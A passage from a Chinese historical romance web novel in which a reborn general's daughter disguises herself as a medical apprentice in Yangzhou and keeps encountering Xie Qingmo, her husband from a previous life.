如今除了比自己年长两岁的四表哥汪淮安,其他几位哥哥都已开枝散叶,膝下儿女成行,院里尽是稚子欢语了。也算是弥补了汪家从前家大业大却人丁单薄之憾。
天渐渐晚了,用过晚膳后,沈欢颜便回到备好的厢房早早歇息了。
次日天明,便由晴茵服侍着穿戴整齐去了外祖母屋里侯着。今日,是要去拜见舅公的日子。
外祖母母家张家乃地方士绅,清誉著于乡里。虽非钟鸣鼎食,然祖产丰厚,家中良田、宅邸、铺面颇丰,足称一方殷实之户。
至外祖母这一代,大舅公张藩掌家,二舅公张铎则成为一方名医,仁术济世。张家自此声望尤隆。
一行人乘了马车前去。进了舅公宅邸,沈欢颜与外祖母先由丫鬟引着去了舅婆的静心斋。还有几位表舅母也在,一群女眷围绕着扬州的吃食和京城的趣事叙谈了好些时候。
半晌才被外祖母岔开话题,“好了,咱们聊的孩子不怎么爱听,我这孙女心也不在这里,在她舅公药房里呢。”
舅婆忙笑道,“你舅公啊,看着严肃,心比药灶还热。你且前去表明你是真心实意想学,他定不会为难你的。”说着,便起身打算引路。
“妹妹腿脚不利索,我去便罢。”外祖母按下舅婆的手,笑着说,“我哥哥药房我总知道在哪的。”
走出静心斋,穿过那道分隔内外的拱门,祖孙二人径直走向前院的药房。
外祖母走到廊下便停了脚步,转身看着她轻声道,“就是这了,祖母就不同你进去了,好歹你得亲自说与他你的诚心,他收不收你这徒弟也得看你的资质和缘分。”
外祖母慈爱地摸了摸她的头,又转身回去同女眷们继续吃茶了。
沈欢颜敲了敲门。药房内传出一声略显苍老的应答声,“进来。”
深吸一口气,她推开门抬脚迈过那道磨得发亮的门槛。
舅公张铎并没有抬头,他正站在一面直通房顶的乌木药柜前,左手拿了一杆巴掌大的铜秤,右手三指探入打开的抽屉,指尖一捻把药材置于盘中……
晌午的日头从雕花窗格漏了进来,在他灰白的鬓发间跳跃,“大将军的女儿,”舅公声音沧桑又平静,“怎不去习武,来学这个?”
“想学救人。”沈欢颜如实答。
“哦?救人?”张铎呵出一声笑,他锐利的目光扫视过来,在她身上停留片刻,
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又说,“你父亲知道吗?”
“父亲尚在外征战,家里事母亲亦可做主。母亲做主的事,父亲自是无话。”
沈欢颜抬头看向张铎,眼神坚定,单,“我小时候曾随军数月,见过军医截肢的钝刀,听过伤兵咬牙忍痛的低嚎,也知道医者在关键时刻能像打了胜仗一般赢下伤者的生命,和将军一样了不起。”
张铎眼神闪烁,不知这话怎能从这柔弱的女娃娃嘴里说出来。想当年他也做过许多年军医,战场上的血肉苍凉他比谁都清楚。
“你若跟了我学医,我让你做什么都不许喊苦喊累。”张铎缓声说。
沈欢颜听到这话,便知了舅公的意思,连忙跪下,额头触地,“徒儿谨听师父教诲。”
“今日你去将后院的五框药材全切了,明日便扮成学徒随我去城东的济仁堂。”张铎交代,“记住,不能告诉任何人你是女娃,你尚未出阁,行事多有不便。”
“徒儿记下了,师父。”沈欢颜已经开始模仿学徒的模样作揖告辞。
转身便去院中,握起金属刀柄,迎着空中浮动的药尘,落下了第一刀。
不出半月,扬州城的人都传,济仁堂多年不再收徒的“老医圣”张铎收了位极其清秀的小弟子。
个子小,力气却大,切药材像练兵,认穴位像排阵,抓药分量准,煎药火候足,行事作风活像个行医老手。
只有张铎知道,这“小弟子”平日就宿在医馆后院的房间里。白日握刀切药,夜里挑灯读书。整理医案时遇难题便会反复琢磨,直到东方既白。
日子平稳地过着,只是济仁堂太忙,沈欢颜已许久未回汪家宅子,只有命晴茵来回传递些书信,让外祖母放心。
“寰彦,可见着先生了?”那日,沈欢颜正在为一位伤者清创包扎,帮工陈季在外头喊道。
沈寰彦是她扮作学徒后用的别名,济仁堂的人都这么称呼她。
沈欢颜刚准备应,陈季便已引了一位俊俏公子进了门。来人穿着素色深衣,头戴儒巾,腰束布制大带,见了她先笑了一笑,便问,“小郎君,可见我祖父?”
“不曾。”沈欢颜摇头,答了便继续低头做事了。
张济青见这小学徒十指灵巧,包扎手法娴熟又利落,不由多看了两眼。她神情专注,薄唇微抿,侧脸线条干净利落,确是个清俊少年模样。
“你是新来的学徒?”他走近两步搭话,“在下张济青,朝定书院学生。”
沈欢颜抬头,看向这张眉眼与师父有些相像的脸。约摸着他应该会比自己虚长两岁,言谈举止落落大方,气度谈吐都不俗,不愧是师父的孙儿,沈欢颜在心里暗暗赞叹。
“在下沈寰彦,兄台若着急,可以去药房看看,师父最常在那里。”她礼貌回答。
张济青点头,便往药房走去。
他边走边暗忖着,多年不收徒的祖父,这回破例收的小徒弟长得也过太俊俏了,眉眼如墨画,肤色胜细瓷,跟他比较起来,自己简直自惭形秽。
5. 医馆重逢
张济青果真在药房里寻到了祖父,开口便问前院病室里那位小兄弟自何方来,以前怎从未见过。
“你姑婆的外孙,京城来的。”张铎原不欲理会,思量片刻,又怕他回去询问他祖母,万一说漏了嘴,欢颜女娃的身份便不好再瞒住了。
“京城那位将军府的姑母所出?我怎记得那位兄弟比我小上好几岁呢。”张济青挠挠头喃喃道。他也不记得自己为何有这样隐约的印象了,许是小时候从长辈们的闲聊中偶然听得的。
“他长得快些,年龄不大。”张铎不想再应付这难缠的乖孙,拿着称好的药转头走了。至病室,瞧着沈欢颜已经忙完了手头的活,正在拾掇,便喊道,“寰彦,把这些药仔细包好,送至东街王记铺子上。”
“晓得了师父,寰彦这就去。”沈欢颜接过张铎手中的药盒,便往前厅去了。
“表弟留步!”张济青忽的从一旁冒出,欲要同沈欢颜再说些什么……
也就瞬间,被张老先生抓住了衣领沉声道,“你今日究竟为何事而来,书院近日竟得清闲如此?”
张济青不知为何祖父忽然动怒,也不敢再追,只得看着这清秀小表弟逐渐走远,方才想起此行的目的,忙说道,“祖父您为军队特制的活血止痛药可否让我拿些,书院里从京城来的同窗与我志同道合,相谈甚欢。昨日他偶然从高处跌落,现下脚踝处剧痛难忍,无法走路。我想拿了让他小试,若是好了便不用去医馆了。”
“跌打损伤并非小事,尤其是你们这些筋骨未坚的半大孩子。让他明日寻个时间过来医馆瞧瞧,正骨之后能减轻不少痛苦。”张铎松开了紧皱的眉头,平声说。
“那您先帮我包些敷贴和药酒,权且令他一试,等明日他与山长告了假我再陪他来医馆找您。”
“你就如此有闲空,他来便是,你还来作甚?”说罢,张铎照着亲孙臀上便是一脚。
张济青冷不防被踹的一个趔趄,捂着屁股龇牙咧嘴道,“祖父您再使些劲,这些治伤筋动骨的药怕是要用到你乖孙我身上了。”
张铎恨铁不成钢道,“你要是有人家寰彦一半能吃苦便好了,把你这耍嘴皮功夫用到正地方,考个解元让我瞧瞧才是真本事。”
“解元哪能轮到我啊祖父,无论淮安兄还是从京城来的清墨兄,哪一个不比我优秀许多,我能中个举人便是烧了高香了。”张济青不知是无心还是有意,把祖父张铎气得眉毛乱抖、胡须倒竖。
倒是被本该去送药的沈欢颜听到了祖孙俩的对话。
她原是已出了门,可又想起这方子里一味药的煎服手法有些特别,打算回来写一封说明并捎带过去。
甫一进来便听到了“清墨”二字,她本能一怔。不过很快便打消了这无稽的念头,这名字倒也并不少见,巧合罢了。
忙忙碌碌这日又过了。
次日正包药,张济青又来了,不见其人先闻其声,“表弟快来,我给你带了章记的蜜果子,扬州最正宗的就数他家了。”
沈欢颜抬头,因是侧着身子站于药台旁,她只能看到张济青搀扶着一人,左手拿着一只油纸三角包,见她看了过来便高兴地挥舞了两下,咧着嘴笑了起来。
不得不说,这位表哥性格是真的好,沈欢颜嘴角不由也挂了笑。
等他搀扶那人露了半边脸,沈欢颜便再也笑不出来了……
当真是谢清墨!
他怎么会在这!竟还跛了脚?
一瘸一拐勉强进屋的谢清墨见了眼前这束了发、小生模样的熟悉脸庞,也愣了神,盯着她看了半晌,脸却红了。
没曾想这样巧。
困扰自己许久的——那些不可说的梦里宜嗔宜喜的娇俏小娘子如今正水灵灵地站在自己眼前。
“娘……郎君,你怎么在这儿。”刚开口便瞥见沈欢颜冲自己使眼色,谢清墨忙改了口,把“娘子”二字咽了回去。
“你们在京中是旧识?”张济青视线来回在两人之间逡巡。
“我们……”
这时张铎的声音从病室传来,“寰彦,李大人那几副药晚上再送,记得到时候询问老夫人今日的身体状况,另外……”张铎顿了一下交代,“多余的话一句都不要说。”
沈欢颜连忙应了。
她挪开视线,不再看谢清墨热切的眼神,只忙着手下的活。
张济青看表弟反应平平,知他们应不是什么熟络的关系,也不再说什么,搀着谢清墨去病室找祖父去了。
沈欢颜攥了攥手里的油纸,上一世的谢清墨从未用如此眼神看过自己。
若他留在京城便罢,一两年时间他或许会忘了自己。
可如今他在朝定书院读书,与两位表哥都是同门,今日又来到济仁堂治病,往后必是免不了相见。
躲最是无用,他既有意,何不戏耍一番再做打算?总要找人撒子撒上一世的怨气呢。
病室里,张铎示意张济青将谢清墨扶上榆木塌,又叫他将鞋袜脱了。
张铎双手对握,扶着谢清墨的足跟、足背,极轻地内外摆动,“外侧虚浮,内侧紧凑。”又指探三穴,情况方已了然于胸。他取了汗巾擦手,正色道,“左足踝筋出槽,骨错缝。你这伤哪里来的?”
谢清墨鬓角因疼痛挂了虚汗,还未开口,张济青便抢着答道,“前些日子书院牌匾松了,报修多日却迟迟不见匠人过来,清墨兄恐牌匾坠落伤人,纠集大家一起整修时一脚踩空,竟把自己给伤了。”
张铎转头看向亲孙,仿佛因他话太多而表情不悦,“这里不需留人,后院药材还有十框未切,你今日既如此有空,且去切了药再来。”
张济青张了张嘴,却无从反驳,只得低头耷脑地往后院走去了。
“先生莫怪,济青兄心直口快,常急人之难,实属真性情也。我这伤正如方才他所说,因莽撞行事不慎跌落,才摔伤至此。”谢清墨恭敬解释道。
“朗君足底茧位偏前,且足弓高,是否时常骑马或习某种武艺?此番扭伤或与此足型弱点有关。”
“晚生在军营待过,不过会些寻常武艺,应是此番跌处太高所致。”谢清墨并未多说。
张铎了然,知这位自京城而来的小郎君绝非出自寻常人家,非独气质谈吐不凡,体格身形也是行伍行军的好苗子,不知为何竟要学文读书。
“郎君稍候,待汤药煎好热敷后,老夫再来。”说罢便起身而去。
不一会儿,病室的竹帘复又掀开,只见沈欢颜纤细的身段侧身进来,手里端了一盆刚煎好的当归芍药汤。
谢清墨想伸手去接,却因坐于木榻又腿脚不便无法起身。
“郎君不必拘礼,这是我分内之事。”沈欢颜将盆子放在一旁
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的矮凳上,把两条纱布帕子放进去。
纱布烫手,沈欢颜捞起一条轻攥了一下便展开敷在了谢清墨脚腕处。
“嘶……”不知是烫还是疼,谢清墨没忍住叫出了声。
沈欢颜下意识探出身子想拿起,又想起师父交代这煎汤越热敷的效果就越好,忙把自己撤了回来,却不小心碰到了矮凳,眼看就要打翻盆子时,谢清墨伸手拉住了她。
她往身前一栽,将沈清墨扑在了榻上,一手扶着他的手臂,另一只手竟按在了他的大腿处。
沈欢颜愣住,虽立马把手移开并站起身来,可方才他大腿肌肉的硬度,皮肤的温度,和最后失了方寸的那丝细微抖动都透过下衣清晰地传到了她的掌心。
熟悉的感觉扑面而来。
如今的自己,肉身虽是未经人事的少女,可内心怎么可能忘掉那些美妙到深入骨髓的记忆呢。
上一世的谢清墨起初确不与自己同床,可后来有了夫妻之实,又生了昭儿后,不知是否因为想为人丁单薄的国公府添丁纳福才愿“例行公事”,但只要行事,便免不了如正经年轻夫妻那般干柴烈火,云雨欢浓。
更何况她对他这方面的本事最是清楚。
沈欢颜别开脸,不敢再多想。她伸手拿了他脚踝处已经有些凉的帕子,重新放入水里准备捞起拧干。
“我来吧,水太烫,女儿家得仔细些手。”清冽的少年声在耳边响起。
听话地把手移开,她抬头看他,谢清墨慌忙移开视线。
看到他的脸,沈欢颜终是没忍住笑。
竟没想到曾经威风凛凛,什么场面都能面不改色的状元郎,如今只被抚了一下大腿,便自乱正脚,脸红到一发不可收拾了。
一时间,两人无话。谢清墨自己伸手拧水更换着帕子。
“娘子可曾记得我是谁?”仿佛做足了心理准备,他终于开口。
听他有意转移话题,沈欢颜便不再逗他,笑道,“自是我闺中密友宋凌舒的二表哥,上次郎君还帮我寻回了念珠,我怎会忘了?”
“鄙人姓谢,双名清墨,字执中。盼娘子能记住我姓名。”他看向她的眼睛。眼波微漾处,似是有道明灭未破的星火。
这样正式,确实应礼尚往来,沈欢颜错开眼神,随意笑道,“小女子姓沈,闺名欢颜。还望清墨兄帮我保守秘密,日后见面唤我寰彦便可。”
“今日重逢喜不自胜,竟有些得意忘形,方才险些失言,着实不该,还望娘子不计前嫌。”谢清墨解释道。
“那是自然,”沈欢颜笑,“郎君不必如此拘谨。上次郎君帮我寻回了那腕上贴身旧物,我感激还来不及呢怎会责怪。”
“敢问那念珠中寄托何意?”谢清墨轻声问。话毕才觉自己这话似乎有些唐突。
“说出来郎君莫笑,那串念珠是我祖母在洛阳大刹里求的,为保我往后婚姻顺遂,夫君疼爱,我还指望它指引我觅得一桩好姻缘呢。”沈欢颜话里有话。
她留意到谢清墨眼神微动,那眸子不听使唤般看向她手腕处,似是要寻找那串珠子。
沈欢颜展颜一笑,略抬下手腕解释道,“整日干这些杂活,自是不便带出来的。姻缘啊,还是等学成恢复女儿身了再说罢。”
末了,竟又俏皮地朝谢清墨眨了眨眼,端起一旁已经冷了的煎汤盆笑着离开了。
6. 李府秘闻
黄昏时分,沈欢颜收到宋凌舒来自京城的问候信。
信中提到她前些日子从二表哥处得来了一块上好的古玉,这本不是什么稀奇事,宋凌舒写信最好写些无甚内容的流水账。可因这古玉是她表哥所赠,便说了不少谢清墨的好话。
说她二表哥老师年迈归乡,但因学业过分优异,被几个老师争抢,甚至连谢皇后都看重他的品行才学,想要他入资善堂作做太子的伴读。然他竟通通婉拒,一心想要远赴扬州的朝定书院求学。
瞬间话锋一转,宋凌舒忽又语气怨怼,原话是:“你们一个二个都要去扬州,独留我一人在京,那扬州到底有甚好的,是金银遍地还是美女如云,还是有那心上人上梦里勾着你们的魂呢。”
最后又说,已经同她二表哥交代过,若有需要帮忙的事,叫沈欢颜随时去找他便是,不用见外。
也就是读到这,沈欢颜才悟出了点不对劲。
即联想到今日沈清墨今日所言。
那时张济青已从后院切药回来,张铎正在为谢清墨用板子夹缚,几人闲聊时问到谢清墨负笈远游之原由,明明京城名师云集,何必要舍近求远。谢清墨却说因自己资质鲁钝,常恐朽木难雕,听闻朝定书院周山长诲人不倦,乃天下大儒之典范,故才远赴求学。
沈欢颜细思,这兄妹俩的说辞可是大相径庭,而宋凌舒向来语出由心,口不藏机,断是不会瞎说的。
可谢清墨若非故作谦虚,又何必撒这个慌呢。
沈欢颜摸不透,但总隐隐觉得他此番来扬州求学,多少和自己有些关联。
倘若这谢郎当真用情至此,这事情便好办了,沈欢颜欣然忖度,竟笑出了声。
*
暮色四合,残月也没入重云。
沈欢颜在济仁堂伙计姜升的护送下来到了李府门前,“姜大哥你快回吧,我还要同那嬷嬷说些话,不知要耽误到哪个时候了,孩子还在家等着呢。”
姜升是济仁堂最老实本分的伙计了,干了十余年,张铎十分信任他。也就只有他才知道沈欢颜真实身份。
沈欢颜看出了姜升的犹豫,“放心吧,我这打扮没什么好担心的。无钱无色,难不成要抓去给人扎针?”沈欢颜举了举手里的朱漆药匣,看玩笑道。
“那你回去时候仔细着些。”姜升虽仍有些忧心,可想到自己女儿此时也正独自在家,便没再客套。
沈欢颜同他告别,敲开了李府的门。
这李府在扬州城可了不得,主公李昌平乃淮南东路转运使,官在知州之上,密折能直陈至御前,与整座扬州城同席宴饮都是要上座主位的。
今日是要给他家的老夫人送药。说起这老夫人的病,连师父都觉得有些蹊跷。时而能是个清醒明白的,时而又糊涂至疯魔。若非沈欢颜从不信牛鬼蛇神,便也会觉得她这病是因为他儿子得罪了什么人,起报应了。
因张铎早已给李府管事打了招呼,沈欢颜报了济仁堂的名号便被引了进去。一小厮在前头引着路,一会儿便到了老夫人房门口。
这李老夫人是日夜颠倒的,今日本是约好中午过来,谁知她偏偏又在那时睡下了,济仁堂本就是来送药的,无法观其病候、神色岂不白来,遂又改了晚上。
李老夫人的贴身嬷嬷上前来迎,可面色、表情却皆似人人都欠她千两黄金。
“随我来吧。”
沈欢颜隔了帷帐为李老夫人诊了脉,又询问了嬷嬷,老夫人近日的起居吃睡,皆无大碍。
“匣内上层为今日之剂,下层为明后两日之剂,烦请全部用毕后知会一声,我们好拆了伙计来取匣子。”沈欢颜又交代了药的煎服细节,拾掇了东西便离开了。
这嬷嬷也麻利,她刚踏出门槛,便迅速关了门。
沈欢颜盯着门有些无奈,这四下无人,连方才等在门口引路的小厮竟也不见了踪影。
只得凭着来时的记忆慢慢走着,刚至游廊处,身后老夫人的房门又打开了,两个丫鬟走了出来,提的是方才自己带进去的药匣。
她们正往另一个方向走去,像是要去煎药。
那便是要去外宅的灶间,到了灶间,离大门便不远了。
沈欢颜忙改了方向,快步紧随着二人身后悄悄地走着。
“老夫人从前身子何等硬朗,见人未语便笑,菩萨那般慈眉善目的,怎会突然染上了如此疯魔之症。”一个丫鬟惋惜道。
“还不是那间屋子搞得鬼。”另个丫鬟知情似的说着。
“你说的是从前孙姨娘住的那间?”
“那可不是,孙姨娘没了以后,那屋子一直空着。直到有一天老夫人不知中了什么邪非要去看看。”这丫鬟一面说着,一面摇头。
“那后来呢?”
“老夫人出来后差人拿了把锁把那屋子锁上便当场晕倒了。之后老爷赶到,从老夫人紧攥着的手里取出了钥匙进了那门。”
“那门里到底有什么。”
“这咱们就不知道了,只知道老爷也把门锁上了。那处院子从那以后就成了禁地,没人能踏进一步。老夫人也成了现在这副模样。”丫鬟说着竟哽咽了起来。
按常理,凭下人对主子私底下的评价就能把这家主人的性情琢磨个七七八八。这老夫人和李大人平日里应都待人不薄,不然丫鬟婆子们不会一个个这般忠心耿耿,说起小话都能为主子扼腕叹息一番。
走着走着,便到了外宅,一时间亮堂了不少。远处隐约有人在争执,许是对这李宅的秘闻起了兴趣,沈欢颜放弃了继续跟随丫鬟,转而隐入暗处,向声源走去。
只见有一人跪在门外,看布局,这间屋子很像宅子主人的书房,屋内灯火通明的。
不是争执,而是像在请求着什么。
可房门内却始终不见有任何回应。
“张大人,您请回吧。主公说了等事情查明自会上书。”说话是一年逾五旬的老者,观其衣着打扮像是李大人府中门客。
可那人并为理会,反而大声喊道,“昌平兄,我用人格担保,州府账册内必有蹊跷,税款异常、盐引数量不符也绝非偶然。下官上书的奏折石沉大海,恳请昌平兄念在咱们同窗数载,又同地为官多年的情分上打开门见下官一面吧。”
半晌,屋门仍是紧闭。那位幕僚看了眼前此景也只余叹息。堂堂州府通判,何至于此啊。
沈欢
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颜躲在廊下,身影一动,袖中那根黄铜药杵“嗒”地一声滚落,声音不大,但在寂静之中尤为清晰。
“何人在那?”一声厉喝从远处传来。
沈欢颜全身血液瞬间凝结,思绪一片空白。
下一秒,一道阴影掠出,沈欢颜没有任何反应的时间,便被一只温热带着薄茧的手掩住了口鼻,那人另一只手臂环过她的纤腰,将她向后一带,沈欢颜猛落入一个怀抱,男性气息瞬间将她笼罩。
“唔——!”她发不出任何声音。
“别怕,是我。”男人在耳边低语。
是谢清墨!他怎么在这?
他的声音她再熟悉不过了,清冽如山泉,朗润如洞箫,着实好听。
没等她回过神,人已被他带着退后几步,跌入假山后的一处极深的阴影里。
空间逼仄,凸起的山石抵在她腰侧,谢清墨几乎要将她揽在怀中。
“角落里也搜仔细了!”护卫的声音由远及近。
沈欢颜心跳如雷,紧贴在她后背的温热胸膛同样沉声跳动着,呼出的热气拂过她耳后的肌肤,激起一阵颤栗。慌乱中谢清墨忘记撤开捂住她口鼻的手。
沈欢颜眼睫轻颤,睫毛扫到他的手指时才反应过来,赶忙松开。
手里还残存着她脸颊柔软的余温。
“抱歉,唐突了。”谢清墨淡声说。
搜寻的动作近在咫尺。谢清墨的手臂不动声色地收紧了几分,两人之间几乎没有空隙。衣角交叠,他腰间的玉带坚硬,硌得她生疼。
“去那边看看!”护卫的声音随着脚步声走远。
沈欢颜深吸了一口气,松下防备的瞬间才察觉到身后属于男人的压迫感和侵略性。
直到周围恢复了寂静,只剩下树叶的沙沙声。谢清墨才收回手臂,缓慢倚着假山站起。
他的脚本就受了伤,又长久蹲在这里,不知会不会加重伤势。透着月光,沈欢颜看到有大滴的冷汗从他的鬓角冒出。
“你没事吧。”沈欢颜忙扶着他的手臂。
他眉头微皱,冲她笑了笑,“没事,站一会儿就好了。你快走,别一会儿又让人看到了。”
“那你呢?你怎么在这?”沈欢颜瞧见他没有穿书院的素色深衣,像是专门换了见人的衣裳。
“李大人是我父亲同窗好友,我来拜访他。”谢清墨因为脚踝疼痛,一手撑着腰,侧靠着假山,装成无事模样。
可沈欢颜好歹在医馆待了这么久,岂会看不出他的逞强。
“你伤成这样如何走路?”沈欢颜担忧道。
“我有护卫跟着,我由他扶着便是。”方才谢清墨见远处身形像她,便鬼使神差地跟了过来。方才脱身,大约也是自己的护卫杨谅把人往远处引的。
听他一说,沈欢颜瞬间想起上一世在他身边形影不离的冰块脸杨谅,便不再担心他。
“那我便先回了。今日多谢郎君相助,奴家感激不尽。”沈欢颜低头看自己这身男人装扮,便没再行礼。
“举手之劳。”谢清墨点头,随后目送她离开才转过身来。
上至廊道,捡起了那根铜制药杵揣于袖筒之中。
7. 情丝暗涌
东巷云锦酒楼开张,一大早便热闹起来。
恰逢书院旬假,张济青拉了谢清墨一同去济仁堂寻沈欢颜,说是要带“表弟”去云锦酒楼品酒、吟诗、“见见世面”。
对于沈欢颜这种长在深闺的女儿家,这类活动平日里不曾参与,确实是“见世面”,可她现在的身份可是将军府的小郎君,并不是什么乡下土包子。
谢清墨也对张济青的说法不怎么认同,京城怎么也是虹桥车马、灯球如昼,夜市直开到三更天,论繁华热闹怎可能比不上扬州。
可真到了这酒楼,也便心服口服。
扬州城不愧是天下富庶之地。飞檐叠浪式三层门面,碧琉璃瓦雕花门楣,灯火通明间,整条街仿佛都淌着珠光。堂内二十四间暖阁,间间悬挂四季鲜花图,蜀绣地衣上绣的是漕船航线图……
推杯换盏间宾客如云,好一番盛况。
还好这酒楼有汪家入股,张济青早早便跟汪淮安打了招呼,叫他让人给他们留了位置。
“表哥还未到?”沈欢颜坐下后,先差小二送盘瓜子过来,后又问道。
张济青一听这话便不乐意了,“你表哥不就在这?你还要找谁!”
“我找我亲表哥。”沈欢颜凑近,故意压低声音引他气恼。
“行!白瞎我对你这样好了,把我送你的糖果子吐出来。”
“怎么,吐出来表哥要吃?”沈欢颜才不让着他。
“你……!”张济青被气的语塞,表情滑稽,引人发笑。
谢清墨看沈欢颜笑的开怀,漾开的酒窝明晃晃的,闪的他心头有些不是滋味。
多次接触,他知她虽内敛却灵动,骨子里的明媚是掩也掩不住的,但不知为何,面对他时,却总是客气又疏离。
“劳诸位久候,恕罪恕罪。”一声温和的男声插入。
沈欢颜抬头,只辨认了数秒,便识得这是她舅父家的四表哥汪淮安,小时候沈欢颜并不知道他的名字,只管他叫四哥哥。多年不见,汪淮安的五官未变,只是又清俊内敛了许多。
这些日子她一直待在在济仁堂,很久没有回汪府,四哥也总是在书院,来扬州这半年二人竟从未见过。犹记得,幼时因年龄相仿,玩耍时她与四哥哥最为默契投机。
“四哥。”沈欢颜对汪淮安轻轻颔首,内心却还是稍有忐忑。
毕竟她不知他是否认出了自己,也不知舅父那边有没有跟他交代。
“寰彦也在啊。”汪淮安爽朗笑着。
听到他的称呼,沈欢颜顿时松了一口气。
“你怎么见了淮安比见了我要热情许多。”张济青突然有些吃味。
近日他不知为何总是在意沈寰彦的一举一动,就好似那争风吃醋的小娘子一般,可转念一想寰彦同自己一样是男儿身,便放下心来,不再多想。
“因为他是我亲表哥,有问题吗?”沈欢颜双手环臂,觉得与张济青斗嘴甚是有趣。
谢清墨却默不作声,看着她和两个表哥言笑晏晏,自己却立于一隅,朋友都不大算得上,自是有些不爽。
“清墨兄诗文功底甚好,一会儿有诗会,大约是以斗擂挑战为体,不妨一试?”汪淮安看出了谢清墨今日的寡言。
头几日他有事归家了一趟,祖母与自己闲聊时专门交待了让自己在书院物色一些品学皆优的同窗,表妹马上及笄,也是时候考虑谈婚论嫁了。不过随后母亲又提醒自己,表妹如今女扮男装在医馆学习医术,切不可把她女子的身份告与旁人,尤其是济青。
汪淮安觉得眼前这位来自京城中的谢郎君可备观览。容貌气质没得说,虽接触不多,但在品性为人在同窗之间口碑甚好,学业也是龙章凤姿,颇受山长器重。最要紧的是与表妹皆来自于京城,不必千里结缡让姑母思女徒生感伤。
汪淮安眯起眼睛,觉得这事愈发可行,他又转头看向傻乎乎的表妹,正闲闲剥着瓜子,享受难得不被女规束缚的欢快时光。
可在谢清墨眼里,汪淮安看向沈欢颜的眼风竟是这般猥琐,有违兄妹相看之礼。
如此暗流涌动,张济青却始终无甚感受。眼见台上诗会擂台将启,他跃跃欲试,转头看向两位同窗,皆安安稳稳地端坐着。
“清墨兄……”被一记不爽的眼神镇住。
“那四哥?”
汪淮安对上张济青求助的眼神,有些不忍,最终只得站起身与他同去。
独留谢清墨、沈欢颜二人围坐方桌,气氛顿时冷了下来。
“闻郎君犹善诗文,为何不愿一试?”沈欢颜嘴角挂着笑,随意问着。
“自是没你那两位表兄才华出众,怎敢漏丑。”谢清墨独自生着莫名的闷气,语气也不怎么柔和。
沈欢颜抬眼看他,觉得有些奇怪,方才不还好好的?
“我可是听说郎君才华出众,在京城都要被一众大儒争抢的呢。”她如实说着,清亮亮一双眼,像淬了甜浆。
谢清墨瞬间像只被顺了毛的猫,因这一句两句抚平了方才的心烦气躁。
自己又何须同他人去比。
所谓关心则乱,每每在她面前,自己总如初涉世者般失了平日的风度,谢清墨暗忖。
沈欢颜一面把瓜子仁塞入口中,一面看着谢清墨须臾之间变了又变的神色,觉得竟比看台上的品诗斗词更有趣些。
又想起上一世他长了几岁后,面上日日都挂着冰冷又客套的虚伪面具,忍不住小声轻嗤,想想就扫兴。
“娘子为何要学医?”忽的一问打断了沈欢颜陷入回忆的思绪。
眼前的仍是十六岁的谢清墨,是并不可能预知未来的谢清墨。他又有什么错呢?
沈欢颜笑笑,“想有一门手艺罢了。我并不擅女红,因女子的身份又总不能做些自己喜欢的事。往后大半余生都在后宅深闺之中,与其彷徨坐着,不如自己找些乐子打发时间。”
“我也不求能治病救人,院里的小猫小狗,飞鸟游鱼若生了些毛病,我若能帮他们疗解痛苦,延长寿命,岂不也是能行善积德的美事?”她淡淡道,嗓音柔和又沉静,有一种安抚人心的力量。
神佛仙女下凡也不过如此吧,谢清墨一时怔愣住。
“娘子所言极是,万物生灵皆有其命数,然你我若予举手之劳
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惜之怜之,增益其寿,也方为人间之至善,以求得内心安宁。”
沈欢颜抿嘴一笑,不知他是真心还是客气恭维,毕竟从前这人惯会说些漂亮话。
“郎君呢?本就是簪缨世家,世代荣华富贵享之不尽的,又为何要辛苦读书?”
这答案其实她上一世就很想知道,在她看来,那时的谢清墨仿佛对于证明自己接近于偏执,也极厌恶别人说他靠着家族的荫蔽才有如此光景。
以至于老夫人逼他辞官袭爵那事闹得如此难堪。
“我并无爵位在身,苦读也不全为求功名,更是为有朝一日能佐明君,行仁政,开盛世,固邦国。听百姓之疾苦,盼天下之太平。此也非我一人之志,乃是济青、淮安,甚至天下读书人共赴之道。”谢清墨背脊挺得很直,语气不快,但吐出的每个字仿佛都有重量。
也让沈欢颜陷入了沉思。
上一世在谢清墨面对祖母的刁难仍要拒绝辞官的时候,为了昭儿的前途,她选择站在了他的对立面。
那时的他已从地方历练回来,在三司任盐铁判官,无论谁看来,这官位品级低,责任重,怎能与世代簪缨的卫国公爵位相提并论。
她也是这样以为的。
犹记得最后他被迫妥协时那苍凉的一瞥,如今想想,是何等的失望与不甘。
终是为了家族留了浮名,却弃了心志,违了本心。
她抬头看向如今正意气风发的少年郎,真希望这一世,他能遇一位知他懂他的良人,许山河诺,向蓬莱游。
尽管被他此番雄心壮志所打动,但于自己而言,还是仍要计划筹谋自己心中之事。
毕竟成婚关乎二人,只要平安度过成平八年,他不高中状元,皇帝亦不必因此赐婚。
那便天高任鸟阔,从此是路人。他想如何实现自己高远之志便再与她无关。
沈欢颜眨了眨眼,沉默了半晌变换了副面孔,她缓缓道,“郎君不仅有好志向,还有好福气呢。不似我,一个女儿家,再有志向也无法施展。”
说着说着,沈欢颜竟有些哽咽,眼眶也有些发红。
谢清墨一时不知如何是好。
他伸出手,立觉不妥又马上收回,忙劝道,“娘子莫要惆怅,不如同我一讲,或许能疏解些烦闷。”
沈欢颜面上好似有些犹豫。
“我自然会守口如瓶。”谢清墨以为她有所防备,继而补充。
听了这话,她展了眉心,缓缓开口道,“若我为男子,自是要经商的。我大兴贸易如此繁荣,我把茶业卖去大食国的驼队,我把瓷器卖去高丽的皇宫,我把吃食卖与京城的瓦肆,我把酒楼开在泉州的藩坊……。”
她一面说,一面拿起盘中一粒蜜果放在手心,开口道,“就说每年春闱时分,全国各地数以万计的学子都赴京赶考,每人都要带着仆从书童,到那时,哪怕我只卖这些蜜果吃食,只要有新意,好吃又同别家做的不同,便都会赚的盆满钵满……”
论及所喜,沈欢颜眉飞目舞,侃侃而谈。
而在谢清墨眼里,更是一颦一笑玉颜生辉,顾盼皆成文章……
8. 勾魂摄魄
沈欢颜留意谢清墨的神情,知他把自己的话听进了。
转而扼腕惆怅道,“奈何我只是一未出阁女子,哪怕只想外出走走,爹爹便会责怪,‘抛头露面,成何体统!’更何况要出去经营更是难上加难。连我母亲嫁妆中那么丰厚的田产商铺也都全是交予外人经营打理的。”
犹怕这样还不够惹人动容,沈欢颜低头扯住自己的衣袖,低声泫而欲泣:“哪怕我只是想学些医术,都要扮成男子模样……”
毕竟只是十六七岁的少年郎,谢清墨已然把眼前娇俏女子所说全数当真,皱眉心疼道:“既如此,若……”
沈欢颜抬头。
他顿了顿,又忽而下决心般说道,“若往后,娘子嫁了人,夫家肯予你自由呢?”
谢清墨眼神清澈且坚定。
这反让沈欢颜不知所措了起来。
